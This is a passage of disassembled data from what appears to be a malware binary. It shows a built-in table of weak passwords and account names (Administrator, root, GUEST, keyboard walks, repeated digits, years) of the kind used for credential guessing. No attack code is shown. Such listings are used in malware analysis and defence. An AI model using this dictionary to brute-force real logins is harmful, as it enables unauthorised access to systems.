dd offset aKk ; "kk"
dd offset aKkk ; "kkk"
dd offset aKkkk ; "kkkk"
dd offset aKkkkk ; "kkkkk"
dd offset aKkkkkk ; "kkkkkk"
dd offset asc_42EA0C ; "l"
dd offset aLl ; "ll"
dd offset aLll ; "lll"
dd offset aLlll ; "llll"
dd offset aLllll ; "lllll"
dd offset aLlllll ; "llllll"
dd offset aM ; "m"
dd offset aMm ; "mm"
dd offset aMmm ; "mmm"
dd offset aMmmm ; "mmmm"
dd offset aMmmmm ; "mmmmm"
dd offset aMmmmmm ; "mmmmmm"
dd offset aN ; "n"
dd offset aNn ; "nn"
dd offset aNnn ; "nnn"
dd offset aNnnn ; "nnnn"
dd offset aNnnnn ; "nnnnn"
dd offset aNnnnnn ; "nnnnnn"
dd offset aO ; "o"
dd offset aOo ; "oo"
dd offset aOoo ; "ooo"
dd offset aOooo ; "oooo"
dd offset aOoooo ; "ooooo"
dd offset aOooooo ; "oooooo"
dd offset aP ; "p"
dd offset aPp ; "pp"
dd offset aPpp ; "ppp"
dd offset aPppp ; "pppp"
dd offset aPpppp ; "ppppp"
dd offset aPppppp ; "pppppp"
dd offset aU ; "u"
dd offset aUu ; "uu"
dd offset aUuu ; "uuu"
dd offset aUuuu ; "uuuu"
dd offset aUuuuu ; "uuuuu"
dd offset aUuuuuu ; "uuuuuu"
dd offset aS_4 ; "s"
dd offset aSs_1 ; "ss"
dd offset aSss ; "sss"
dd offset aSsss ; "ssss"
dd offset aSssss ; "sssss"
dd offset aSsssss ; "ssssss"
dd offset aT ; "t"
dd offset aTt ; "tt"
dd offset aTtt ; "ttt"
dd offset aTttt ; "tttt"
dd offset aTtttt ; "ttttt"
dd offset aTttttt ; "tttttt"
dd offset aY ; "y"
dd offset aYy ; "yy"
dd offset aYyy ; "yyy"
dd offset aYyyy ; "yyyy"
dd offset aYyyyy ; "yyyyy"
dd offset aYyyyyy ; "yyyyyy"
dd offset aV ; "v"
dd offset aVv ; "vv"
dd offset aVvv ; "vvv"
dd offset aVvvv ; "vvvv"
dd offset aVvvvv ; "vvvvv"
dd offset aVvvvvv ; "vvvvvv"
dd offset aW ; "w"
dd offset aWw ; "ww"
dd offset aWww ; "www"
dd offset aWwww ; "wwww"
dd offset aWwwww ; "wwwww"
dd offset aWwwwww ; "wwwwww"
dd offset aQ ; "q"
dd offset aQq ; "qq"
dd offset aQqq ; "qqq"
dd offset aQqqq ; "qqqq"
dd offset aQqqqq ; "qqqqq"
dd offset aQqqqqq ; "qqqqqq"
dd offset aZ ; "z"
dd offset aZz ; "zz"
dd offset aZzz ; "zzz"
dd offset aZzzz ; "zzzz"
dd offset aZzzzz ; "zzzzz"
dd offset aZzzzzz ; "zzzzzz"
dd offset aXxyyzz ; "xxyyzz"
dd offset aZzxx ; "zzxx"
dd offset aAass ; "aass"
dd offset aQqww ; "qqww"
dd offset aZzzxxxccc ; "zzzxxxccc"
dd offset aAaasssddd ; "aaasssddd"
dd offset aQqqwwweee ; "qqqwwweee"
dd offset aQqwwee ; "qqwwee"
dd offset aAassdd ; "aassdd"
dd offset aZzxxcc ; "zzxxcc"
dd offset a1qaz ; "1qaz"
dd offset a2wsx ; "2wsx"
dd offset a2qaz ; "2qaz"
dd offset a3edc ; "3edc"
dd offset a3wsx ; "3wsx"
dd offset a112233 ; "112233"
dd offset aMnb ; "mnb"
dd offset aMnbv ; "mnbv"
dd offset a2486 ; "2486"
dd offset a2684 ; "2684"
dd offset a13579 ; "13579"
dd offset a753159 ; "753159"
dd offset a159357 ; "159357"
dd offset a951753 ; "951753"
dd offset a753951 ; "753951"
dd offset a142536 ; "142536"
dd offset aSystem ; "system"
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
dd offset byte_438F9C
dd 0
dword_42E764 dd 10h ; seg000:0040D999r ...
a142536 db '142536',0 ; DATA XREF: seg002:0042E6E4o
align 10h
a753951 db '753951',0 ; DATA XREF: seg002:0042E6E0o
align 4
a951753 db '951753',0 ; DATA XREF: seg002:0042E6DCo
align 10h
a159357 db '159357',0 ; DATA XREF: seg002:0042E6D8o
align 4
a753159 db '753159',0 ; DATA XREF: seg002:0042E6D4o
align 10h
a13579 db '13579',0 ; DATA XREF: seg002:0042E6D0o
align 4
a2684 db '2684',0 ; DATA XREF: seg002:0042E6CCo
align 10h
a2486 db '2486',0 ; DATA XREF: seg002:0042E6C8o
align 4
aMnbv db 'mnbv',0 ; DATA XREF: seg002:0042E6C4o
align 10h
aMnb db 'mnb',0 ; DATA XREF: seg002:0042E6C0o
a112233 db '112233',0 ; DATA XREF: seg002:0042E6BCo
align 4
a3wsx db '3wsx',0 ; DATA XREF: seg002:0042E6B8o
align 4
a3edc db '3edc',0 ; DATA XREF: seg002:0042E6B4o
align 4
a2qaz db '2qaz',0 ; DATA XREF: seg002:0042E6B0o
align 4
a2wsx db '2wsx',0 ; DATA XREF: seg002:0042E6ACo
align 4
a1qaz db '1qaz',0 ; DATA XREF: seg002:0042E6A8o
align 4
aZzxxcc db 'zzxxcc',0 ; DATA XREF: seg002:0042E6A4o
align 4
aAassdd db 'aassdd',0 ; DATA XREF: seg002:0042E6A0o
align 4
aQqwwee db 'qqwwee',0 ; DATA XREF: seg002:0042E69Co
align 4
aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: seg002:0042E698o
align 4
aAaasssddd db 'aaasssddd',0 ; DATA XREF: seg002:0042E694o
align 4
aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: seg002:0042E690o
align 10h
aQqww db 'qqww',0 ; DATA XREF: seg002:0042E68Co
align 4
aAass db 'aass',0 ; DATA XREF: seg002:0042E688o
align 10h
aZzxx db 'zzxx',0 ; DATA XREF: seg002:0042E684o
align 4
aXxyyzz db 'xxyyzz',0 ; DATA XREF: seg002:0042E680o
align 10h
aZzzzzz db 'zzzzzz',0 ; DATA XREF: seg002:0042E67Co
align 4
aZzzzz db 'zzzzz',0 ; DATA XREF: seg002:0042E678o
align 10h
aZzzz db 'zzzz',0 ; DATA XREF: seg002:0042E674o
align 4
aZzz db 'zzz',0 ; DATA XREF: seg002:0042E670o
aZz db 'zz',0 ; DATA XREF: seg002:0042E66Co
align 10h
aQqqqqq db 'qqqqqq',0 ; DATA XREF: seg002:0042E664o
align 4
aQqqqq db 'qqqqq',0 ; DATA XREF: seg002:0042E660o
align 10h
aQqqq db 'qqqq',0 ; DATA XREF: seg002:0042E65Co
align 4
aQqq db 'qqq',0 ; DATA XREF: seg002:0042E658o
aQq db 'qq',0 ; DATA XREF: seg002:0042E654o
align 10h
aQ: ; DATA XREF: seg002:0042E650o
unicode 0, <q>,0
aWwwwww db 'wwwwww',0 ; DATA XREF: seg002:0042E64Co
align 4
aWwwww db 'wwwww',0 ; DATA XREF: seg002:0042E648o
align 4
aWwww db 'wwww',0 ; DATA XREF: seg002:0042E644o
align 4
aWww db 'www',0 ; DATA XREF: seg002:0042E640o
aWw db 'ww',0 ; DATA XREF: seg002:0042E63Co
align 4
aW: ; DATA XREF: seg002:0042E638o
unicode 0, <w>,0
aVvvvvv db 'vvvvvv',0 ; DATA XREF: seg002:0042E634o
align 10h
aVvvvv db 'vvvvv',0 ; DATA XREF: seg002:0042E630o
align 4
aVvvv db 'vvvv',0 ; DATA XREF: seg002:0042E62Co
align 10h
aVvv db 'vvv',0 ; DATA XREF: seg000:0040F4B5o
; seg002:0042E628o
aVv db 'vv',0 ; DATA XREF: seg002:0042E624o
align 4
aV: ; DATA XREF: seg002:0042E620o
unicode 0, <v>,0
aYyyyyy db 'yyyyyy',0 ; DATA XREF: seg002:0042E61Co
align 4
aYyyyy db 'yyyyy',0 ; DATA XREF: seg002:0042E618o
align 4
aYyyy db 'yyyy',0 ; DATA XREF: seg002:0042E614o
align 4
aYyy db 'yyy',0 ; DATA XREF: seg002:0042E610o
aYy db 'yy',0 ; DATA XREF: seg002:0042E60Co
align 4
aY: ; DATA XREF: seg002:0042E608o
unicode 0, <y>,0
aTttttt db 'tttttt',0 ; DATA XREF: seg002:0042E604o
align 4
aTtttt db 'ttttt',0 ; DATA XREF: seg002:0042E600o
align 10h
aTttt db 'tttt',0 ; DATA XREF: seg002:0042E5FCo
align 4
aTtt db 'ttt',0 ; DATA XREF: seg002:0042E5F8o
aTt db 'tt',0 ; DATA XREF: seg002:0042E5F4o
align 10h
aT: ; DATA XREF: seg002:0042E5F0o
unicode 0, <t>,0
aSsssss db 'ssssss',0 ; DATA XREF: seg002:0042E5ECo
align 4
aSssss db 'sssss',0 ; DATA XREF: seg002:0042E5E8o
align 4
aSsss db 'ssss',0 ; DATA XREF: seg002:0042E5E4o
align 4
aSss db 'sss',0 ; DATA XREF: seg002:0042E5E0o
aSs_1 db 'ss',0 ; DATA XREF: seg002:0042E5DCo
align 4
aS_4: ; DATA XREF: seg002:0042E5D8o
unicode 0, <s>,0
aUuuuuu db 'uuuuuu',0 ; DATA XREF: seg002:0042E5D4o
align 10h
aUuuuu db 'uuuuu',0 ; DATA XREF: seg002:0042E5D0o
align 4
aUuuu db 'uuuu',0 ; DATA XREF: seg002:0042E5CCo
align 10h
aUuu db 'uuu',0 ; DATA XREF: seg002:0042E5C8o
aUu db 'uu',0 ; DATA XREF: seg002:0042E5C4o
align 4
aU: ; DATA XREF: seg002:0042E5C0o
unicode 0, <u>,0
aPppppp db 'pppppp',0 ; DATA XREF: seg002:0042E5BCo
align 4
aPpppp db 'ppppp',0 ; DATA XREF: seg002:0042E5B8o
align 4
aPppp db 'pppp',0 ; DATA XREF: seg002:0042E5B4o
align 4
aPpp db 'ppp',0 ; DATA XREF: seg002:0042E5B0o
aPp db 'pp',0 ; DATA XREF: seg002:0042E5ACo
align 4
aP: ; DATA XREF: seg002:0042E5A8o
unicode 0, <p>,0
aOooooo db 'oooooo',0 ; DATA XREF: seg002:0042E5A4o
align 4
aOoooo db 'ooooo',0 ; DATA XREF: seg002:0042E5A0o
align 10h
aOooo db 'oooo',0 ; DATA XREF: seg002:0042E59Co
align 4
aOoo db 'ooo',0 ; DATA XREF: seg002:0042E598o
aOo db 'oo',0 ; DATA XREF: seg002:0042E594o
align 10h
aO: ; DATA XREF: seg002:0042E590o
unicode 0, <o>,0
aNnnnnn db 'nnnnnn',0 ; DATA XREF: seg002:0042E58Co
align 4
aNnnnn db 'nnnnn',0 ; DATA XREF: seg002:0042E588o
align 4
aNnnn db 'nnnn',0 ; DATA XREF: seg002:0042E584o
align 4
aNnn db 'nnn',0 ; DATA XREF: seg002:0042E580o
aNn db 'nn',0 ; DATA XREF: seg002:0042E57Co
align 4
aN: ; DATA XREF: seg002:0042E578o
unicode 0, <n>,0
aMmmmmm db 'mmmmmm',0 ; DATA XREF: seg002:0042E574o
align 10h
aMmmmm db 'mmmmm',0 ; DATA XREF: seg002:0042E570o
align 4
aMmmm db 'mmmm',0 ; DATA XREF: seg002:0042E56Co
align 10h
aMmm db 'mmm',0 ; DATA XREF: seg002:0042E568o
aMm db 'mm',0 ; DATA XREF: seg002:0042E564o
align 4
aM: ; DATA XREF: seg002:0042E560o
unicode 0, <m>,0
aLlllll db 'llllll',0 ; DATA XREF: seg002:0042E55Co
align 4
aLllll db 'lllll',0 ; DATA XREF: seg002:0042E558o
align 4
aLlll db 'llll',0 ; DATA XREF: seg002:0042E554o
align 4
aLll db 'lll',0 ; DATA XREF: seg002:0042E550o
aLl db 'll',0 ; DATA XREF: seg002:0042E54Co
align 4
asc_42EA0C: ; DATA XREF: seg002:0042E548o
unicode 0, <l>,0
aKkkkkk db 'kkkkkk',0 ; DATA XREF: seg002:0042E544o
align 4
aKkkkk db 'kkkkk',0 ; DATA XREF: seg002:0042E540o
align 10h
aKkkk db 'kkkk',0 ; DATA XREF: seg002:0042E53Co
align 4
aKkk db 'kkk',0 ; DATA XREF: seg002:0042E538o
aKk db 'kk',0 ; DATA XREF: seg002:0042E534o
align 10h
aK: ; DATA XREF: seg002:0042E530o
unicode 0, <k>,0
aJjjjjj db 'jjjjjj',0 ; DATA XREF: seg002:0042E52Co
align 4
aJjjjj db 'jjjjj',0 ; DATA XREF: seg002:0042E528o
align 4
aJjjj db 'jjjj',0 ; DATA XREF: seg002:0042E524o
align 4
aJjj db 'jjj',0 ; DATA XREF: seg002:0042E520o
aJj db 'jj',0 ; DATA XREF: seg002:0042E51Co
align 4
aJ: ; DATA XREF: seg002:0042E518o
unicode 0, <j>,0
aIiiiii db 'iiiiii',0 ; DATA XREF: seg002:0042E514o
align 10h
aIiiii db 'iiiii',0 ; DATA XREF: seg002:0042E510o
align 4
aIiii db 'iiii',0 ; DATA XREF: seg002:0042E50Co
align 10h
aIii db 'iii',0 ; DATA XREF: seg002:0042E508o
aIi db 'ii',0 ; DATA XREF: seg002:0042E504o
align 4
aI_0: ; DATA XREF: seg002:0042E500o
unicode 0, <i>,0
aHhhhhh db 'hhhhhh',0 ; DATA XREF: seg002:0042E4FCo
align 4
aHhhhh db 'hhhhh',0 ; DATA XREF: seg002:0042E4F8o
align 4
aHhhh db 'hhhh',0 ; DATA XREF: seg002:0042E4F4o
align 4
aHhh db 'hhh',0 ; DATA XREF: seg002:0042E4F0o
aHh db 'hh',0 ; DATA XREF: seg002:0042E4ECo
align 4
asc_42EA9C: ; DATA XREF: seg002:0042E4E8o
unicode 0, <h>,0
aGggggg db 'gggggg',0 ; DATA XREF: seg002:0042E4E4o
align 4
aGgggg db 'ggggg',0 ; DATA XREF: seg002:0042E4E0o
align 10h
aGggg db 'gggg',0
align 4
aGgg db 'ggg',0
aGg db 'gg',0
align 10h
aG:
unicode 0, <g>,0
aEeeeee db 'eeeeee',0
align 4
aEeeee db 'eeeee',0
align 4
aEeee db 'eeee',0
align 4
aEee db 'eee',0
aEe db 'ee',0
align 4
aE:
unicode 0, <e>,0
aFffff db 'fffff',0
align 10h
aFfff db 'ffff',0
align 4
aFff db 'fff',0 ; DATA XREF: seg002:0042E4ACo
aFf db 'ff',0 ; DATA XREF: seg002:0042E4A8o
align 10h
aF: ; DATA XREF: seg002:0042E4A4o
unicode 0, <f>,0
aDdddd db 'ddddd',0 ; DATA XREF: seg002:0042E4A0o
align 4
aDddd db 'dddd',0 ; DATA XREF: seg002:0042E49Co
align 4
aDdd db 'ddd',0
aDd_1 db 'dd',0
align 4
aD:
unicode 0, <d>,0
aCcccccccc db 'ccccccccc',0
align 4
aCccccccc db 'cccccccc',0
align 4
aCcccccc db 'ccccccc',0
aCccccc db 'cccccc',0 ; DATA XREF: seg002:0042E480o
align 4
aCcccc db 'ccccc',0
align 10h
aCccc_0 db 'cccc',0 ; DATA XREF: seg002:0042E478o
align 4
aCcc db 'ccc',0
aCc db 'cc',0 ; DATA XREF: seg002:0042E470o
align 10h
aC_1:
unicode 0, <c>,0
aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: seg002:0042E468o
align 10h
aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: seg002:0042E464o
align 4
aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: seg002:0042E460o
aBbbbbb db 'bbbbbb',0 ; DATA XREF: seg002:0042E45Co
align 4
aBbbbb db 'bbbbb',0 ; DATA XREF: seg002:0042E458o
align 4
aBbbb db 'bbbb',0
align 4
aBbb db 'bbb',0
aBb db 'bb',0
align 4
aB_0:
unicode 0, <b>,0
aRfv db 'rfv',0 ; DATA XREF: seg002:0042E444o
aEdc db 'edc',0
aWsx db 'wsx',0 ; DATA XREF: seg002:0042E43Co
aQaz db 'qaz',0
aAsdfghjkl db 'asdfghjkl',0
align 4
aAsdfghjk db 'asdfghjk',0
align 10h
aAsdfghj db 'asdfghj',0
aAsdfgh db 'asdfgh',0
align 10h
aAsdfg db 'asdfg',0
align 4
aAs db 'as',0 ; DATA XREF: seg002:0042E418o
align 4
aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: seg002:0042E414o
aZxcvbn db 'zxcvbn',0 ; DATA XREF: seg002:0042E410o
align 4
aZxcvb db 'zxcvb',0
align 4
aZxc db 'zxc',0
aZx db 'zx',0
align 4
aZ: ; DATA XREF: seg002:0042E3FCo
; seg002:0042E668o
unicode 0, <z>,0
aKonyang db 'konyang',0 ; DATA XREF: seg002:0042E3F8o
aToyota_0 db 'TOYOTA',0 ; DATA XREF: seg002:0042E3C0o
align 10h
aKor db 'KOR',0 ; DATA XREF: seg002:0042E3BCo
aKor_0 db 'kor',0 ; DATA XREF: seg002:0042E3B4o
aChi db 'chi',0 ; DATA XREF: seg002:0042E3B0o
aChi_0 db 'CHI',0 ; DATA XREF: seg002:0042E3ACo
aSystem db 'system',0 ; DATA XREF: seg002:0042E3A4o
; seg002:0042E6E8o
align 4
aServices db 'services',0 ; DATA XREF: seg002:0042E3A0o
align 4
aServers db 'servers',0 ; DATA XREF: seg002:0042E39Co
aServer_0 db 'server',0 ; DATA XREF: seg002:0042E394o
align 4
aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: seg002:0042E38Co
align 10h
aQwertyuio db 'qwertyuio',0 ; DATA XREF: seg002:0042E388o
align 4
aQwertyui db 'qwertyui',0 ; DATA XREF: seg002:0042E384o
align 4
aQwertyu db 'qwertyu',0 ; DATA XREF: seg002:0042E380o
aQwe db 'qwe',0 ; DATA XREF: seg002:0042E370o
aQw db 'qw',0 ; DATA XREF: seg002:0042E36Co
align 4
aPassword1 db 'password1',0 ; DATA XREF: seg002:0042E368o
align 4
aPassword_0 db 'Password',0 ; DATA XREF: seg002:0042E364o
align 10h
aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: seg002:0042E360o
align 4
aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: seg002:0042E35Co
align 4
aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: seg002:0042E358o
aAaaaaa db 'aaaaaa',0 ; DATA XREF: seg002:0042E354o
align 4
aAaaaa db 'aaaaa',0 ; DATA XREF: seg002:0042E350o
align 10h
aAaaa db 'aaaa',0 ; DATA XREF: seg002:0042E34Co
align 4
aAa db 'aa',0 ; DATA XREF: seg002:0042E344o
align 4
aNokia db 'NOKIA',0 ; DATA XREF: seg002:0042E338o
align 4
aSex db 'SEX',0 ; DATA XREF: seg002:0042E334o
aCreative db 'CREATIVE',0 ; DATA XREF: seg002:0042E330o
align 4
aDisc_0 db 'DISC',0 ; DATA XREF: seg002:0042E32Co
align 4
aMicrosoft db 'MICROSOFT',0 ; DATA XREF: seg002:0042E328o
align 4
aMaster_0 db 'MASTER',0 ; DATA XREF: seg002:0042E324o
align 10h
aSony_0 db 'SONY',0 ; DATA XREF: seg002:0042E320o
align 4
aSamsung db 'samsung',0 ; DATA XREF: seg002:0042E31Co
aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: seg002:0042E318o
aSony db 'sony',0 ; DATA XREF: seg002:0042E314o
align 10h
a7654321 db '7654321',0 ; DATA XREF: seg002:0042E310o
a4321 db '4321',0 ; DATA XREF: seg002:0042E304o
align 10h
a321 db '321',0 ; DATA XREF: seg002:0042E300o
a2006 db '2006',0 ; DATA XREF: seg002:0042E2F8o
align 4
a2005 db '2005',0 ; DATA XREF: seg002:0042E2F4o
align 4
a2004 db '2004',0 ; DATA XREF: seg002:0042E2F0o
align 4
a2001 db '2001',0 ; DATA XREF: seg002:0042E2E4o
align 4
a2000 db '2000',0 ; DATA XREF: seg002:0042E2E0o
align 4
a1999 db '1999',0 ; DATA XREF: seg002:0042E2DCo
align 4
a1998 db '1998',0 ; DATA XREF: seg002:0042E2D8o
align 4
a1997 db '1997',0 ; DATA XREF: seg002:0042E2D4o
align 4
a1996 db '1996',0 ; DATA XREF: seg002:0042E2D0o
align 4
a1995 db '1995',0 ; DATA XREF: seg002:0042E2CCo
align 4
a1994 db '1994',0 ; DATA XREF: seg002:0042E2C8o
align 4
a1993 db '1993',0 ; DATA XREF: seg002:0042E2C4o
align 4
a1992 db '1992',0 ; DATA XREF: seg002:0042E2C0o
align 4
a1991 db '1991',0 ; DATA XREF: seg002:0042E2BCo
align 4
a1990 db '1990',0 ; DATA XREF: seg002:0042E2B8o
align 4
a1989 db '1989',0 ; DATA XREF: seg002:0042E2B4o
align 4
a1988 db '1988',0 ; DATA XREF: seg002:0042E2B0o
align 4
a1987 db '1987',0 ; DATA XREF: seg002:0042E2ACo
align 4
a1986 db '1986',0 ; DATA XREF: seg002:0042E2A8o
align 4
a1985 db '1985',0 ; DATA XREF: seg002:0042E2A4o
align 4
a1984 db '1984',0 ; DATA XREF: seg002:0042E2A0o
align 4
a1983 db '1983',0 ; DATA XREF: seg002:0042E29Co
align 4
a1982 db '1982',0 ; DATA XREF: seg002:0042E298o
align 4
a1981 db '1981',0 ; DATA XREF: seg002:0042E294o
align 4
a1980 db '1980',0 ; DATA XREF: seg002:0042E290o
align 4
a1979 db '1979',0 ; DATA XREF: seg002:0042E28Co
align 4
a1978 db '1978',0 ; DATA XREF: seg002:0042E288o
align 4
a1977 db '1977',0 ; DATA XREF: seg002:0042E284o
align 4
a1976 db '1976',0 ; DATA XREF: seg002:0042E280o
align 4
a1975 db '1975',0 ; DATA XREF: seg002:0042E27Co
align 4
a1974 db '1974',0 ; DATA XREF: seg002:0042E278o
align 4
a1973 db '1973',0 ; DATA XREF: seg002:0042E274o
align 4
a1972 db '1972',0 ; DATA XREF: seg002:0042E270o
align 4
a1971 db '1971',0 ; DATA XREF: seg002:0042E26Co
align 4
a1970 db '1970',0 ; DATA XREF: seg002:0042E268o
align 4
a1969 db '1969',0 ; DATA XREF: seg002:0042E264o
align 4
a1968 db '1968',0 ; DATA XREF: seg002:0042E260o
align 4
a1967 db '1967',0 ; DATA XREF: seg002:0042E25Co
align 4
a1966 db '1966',0 ; DATA XREF: seg002:0042E258o
align 4
a1965 db '1965',0 ; DATA XREF: seg002:0042E254o
align 4
a1964 db '1964',0 ; DATA XREF: seg002:0042E250o
align 4
a1963 db '1963',0 ; DATA XREF: seg002:0042E24Co
align 4
a1962 db '1962',0 ; DATA XREF: seg002:0042E248o
align 4
a1961 db '1961',0 ; DATA XREF: seg002:0042E244o
align 4
a1960 db '1960',0 ; DATA XREF: seg002:0042E240o
align 4
a1959 db '1959',0 ; DATA XREF: seg002:0042E23Co
align 4
a1958 db '1958',0 ; DATA XREF: seg002:0042E238o
align 4
a1957 db '1957',0 ; DATA XREF: seg002:0042E234o
align 4
a1956 db '1956',0 ; DATA XREF: seg002:0042E230o
align 4
a1955 db '1955',0 ; DATA XREF: seg002:0042E22Co
align 4
a1954 db '1954',0 ; DATA XREF: seg002:0042E228o
align 4
a1953 db '1953',0 ; DATA XREF: seg002:0042E224o
align 4
a1952 db '1952',0 ; DATA XREF: seg002:0042E220o
align 4
a1234qwe db '1234qwe',0 ; DATA XREF: seg002:0042E21Co
a1234asd db '1234asd',0 ; DATA XREF: seg002:0042E218o
a1234abc db '1234abc',0 ; DATA XREF: seg002:0042E214o
a123qwer db '123qwer',0 ; DATA XREF: seg002:0042E200o
a12qwe db '12qwe',0 ; DATA XREF: seg002:0042E1FCo
align 4
a12asd db '12asd',0 ; DATA XREF: seg002:0042E1F8o
align 4
a12abc db '12abc',0 ; DATA XREF: seg002:0042E1F4o
align 4
a12qwer db '12qwer',0 ; DATA XREF: seg002:0042E1F0o
align 4
a1qwe db '1qwe',0 ; DATA XREF: seg002:0042E1ECo
align 4
a1asd db '1asd',0 ; DATA XREF: seg002:0042E1E8o
align 4
a1abc db '1abc',0 ; DATA XREF: seg002:0042E1E4o
align 4
a1qwer db '1qwer',0 ; DATA XREF: seg002:0042E1E0o
align 4
a123467890 db '123467890',0 ; DATA XREF: seg002:0042E1DCo
align 4
a12346789 db '12346789',0 ; DATA XREF: seg002:0042E1D8o
align 4
a1234678 db '1234678',0 ; DATA XREF: seg002:0042E1D4o
a123467 db '123467',0 ; DATA XREF: seg002:0042E1D0o
align 4
a12346 db '12346',0 ; DATA XREF: seg002:0042E1CCo
align 4
a121 db '121',0 ; DATA XREF: seg002:0042E1A4o
a1020 db '1020',0 ; DATA XREF: seg002:0042E19Co
align 4
a0258 db '0258',0 ; DATA XREF: seg002:0042E198o
align 10h
a8520 db '8520',0 ; DATA XREF: seg002:0042E194o
align 4
a987 db '987',0 ; DATA XREF: seg002:0042E190o
a789 db '789',0 ; DATA XREF: seg002:0042E18Co
a654 db '654',0 ; DATA XREF: seg002:0042E188o
a456 db '456',0 ; DATA XREF: seg002:0042E184o
a1122 db '1122',0 ; DATA XREF: seg002:0042E180o
align 10h
a0147 db '0147',0 ; DATA XREF: seg002:0042E17Co
align 4
a7410 db '7410',0 ; DATA XREF: seg002:0042E178o
align 10h
a9999999999 db '9999999999',0 ; DATA XREF: seg002:0042E170o
align 4
a999999999 db '999999999',0 ; DATA XREF: seg002:0042E16Co
align 4
a99999999 db '99999999',0 ; DATA XREF: seg002:0042E168o
align 4
a9999999 db '9999999',0 ; DATA XREF: seg002:0042E164o
a999999 db '999999',0 ; DATA XREF: seg002:0042E160o
align 4
a99999 db '99999',0 ; DATA XREF: seg002:0042E15Co
align 4
a9999 db '9999',0 ; DATA XREF: seg002:0042E158o
align 4
a999 db '999',0 ; DATA XREF: seg002:0042E154o
a99 db '99',0 ; DATA XREF: seg002:0042E150o
align 4
a9: ; DATA XREF: seg002:0042E14Co
unicode 0, <9>,0
a8888888888 db '8888888888',0 ; DATA XREF: seg002:0042E148o
align 4
a888888888 db '888888888',0 ; DATA XREF: seg002:0042E144o
align 4
a8888888 db '8888888',0 ; DATA XREF: seg002:0042E13Co
a888888 db '888888',0 ; DATA XREF: seg002:0042E138o
align 4
a88888 db '88888',0 ; DATA XREF: seg002:0042E134o
align 10h
a8888 db '8888',0 ; DATA XREF: seg002:0042E130o
align 4
a888 db '888',0 ; DATA XREF: seg002:0042E12Co
a88 db '88',0 ; DATA XREF: seg002:0042E128o
align 10h
a8: ; DATA XREF: seg002:0042E124o
unicode 0, <8>,0
a7777777777 db '7777777777',0 ; DATA XREF: seg002:0042E120o
align 10h
a777777777 db '777777777',0 ; DATA XREF: seg002:0042E11Co
align 4
a77777777 db '77777777',0 ; DATA XREF: seg002:0042E118o
align 4
a7777777 db '7777777',0 ; DATA XREF: seg002:0042E114o
a777777 db '777777',0 ; DATA XREF: seg002:0042E110o
align 4
a77777 db '77777',0 ; DATA XREF: seg002:0042E10Co
align 10h
a7777 db '7777',0 ; DATA XREF: seg002:0042E108o
align 4
a777 db '777',0 ; DATA XREF: seg002:0042E104o
a77 db '77',0 ; DATA XREF: seg002:0042E100o
align 10h
a7: ; DATA XREF: seg002:0042E0FCo
unicode 0, <7>,0
a6666666666 db '6666666666',0 ; DATA XREF: seg002:0042E0F8o
align 10h
a666666666 db '666666666',0 ; DATA XREF: seg002:0042E0F4o
align 4
a66666666 db '66666666',0 ; DATA XREF: seg002:0042E0F0o
align 4
a6666666 db '6666666',0 ; DATA XREF: seg002:0042E0ECo
a666666 db '666666',0 ; DATA XREF: seg002:0042E0E8o
align 4
a66666 db '66666',0 ; DATA XREF: seg002:0042E0E4o
align 10h
a6666 db '6666',0 ; DATA XREF: seg002:0042E0E0o
align 4
a666 db '666',0 ; DATA XREF: seg002:0042E0DCo
a66 db '66',0 ; DATA XREF: seg002:0042E0D8o
align 10h
a6: ; DATA XREF: seg002:0042E0D4o
unicode 0, <6>,0
a5555555555 db '5555555555',0 ; DATA XREF: seg002:0042E0D0o
align 10h
a555555555 db '555555555',0 ; DATA XREF: seg002:0042E0CCo
align 4
a55555555 db '55555555',0 ; DATA XREF: seg002:0042E0C8o
align 4
a5555555 db '5555555',0 ; DATA XREF: seg002:0042E0C4o
a555555 db '555555',0 ; DATA XREF: seg002:0042E0C0o
align 4
a55555 db '55555',0 ; DATA XREF: seg002:0042E0BCo
align 10h
a5555 db '5555',0 ; DATA XREF: seg002:0042E0B8o
align 4
a555 db '555',0 ; DATA XREF: seg002:0042E0B4o
a55 db '55',0 ; DATA XREF: seg002:0042E0B0o
align 10h
a5: ; DATA XREF: seg002:0042E0ACo
unicode 0, <5>,0
a4444444444 db '4444444444',0 ; DATA XREF: seg002:0042E0A8o
align 10h
a444444444 db '444444444',0 ; DATA XREF: seg002:0042E0A4o
align 4
a44444444 db '44444444',0 ; DATA XREF: seg002:0042E0A0o
align 4
a4444444 db '4444444',0 ; DATA XREF: seg002:0042E09Co
a444444 db '444444',0 ; DATA XREF: seg002:0042E098o
align 4
a44444 db '44444',0 ; DATA XREF: seg002:0042E094o
align 10h
a4444 db '4444',0 ; DATA XREF: seg002:0042E090o
align 4
a444 db '444',0 ; DATA XREF: seg002:0042E08Co
a44 db '44',0 ; DATA XREF: seg002:0042E088o
align 10h
a4: ; DATA XREF: seg002:0042E084o
unicode 0, <4>,0
a3333333333 db '3333333333',0 ; DATA XREF: seg002:0042E080o
align 10h
a333333333 db '333333333',0 ; DATA XREF: seg002:0042E07Co
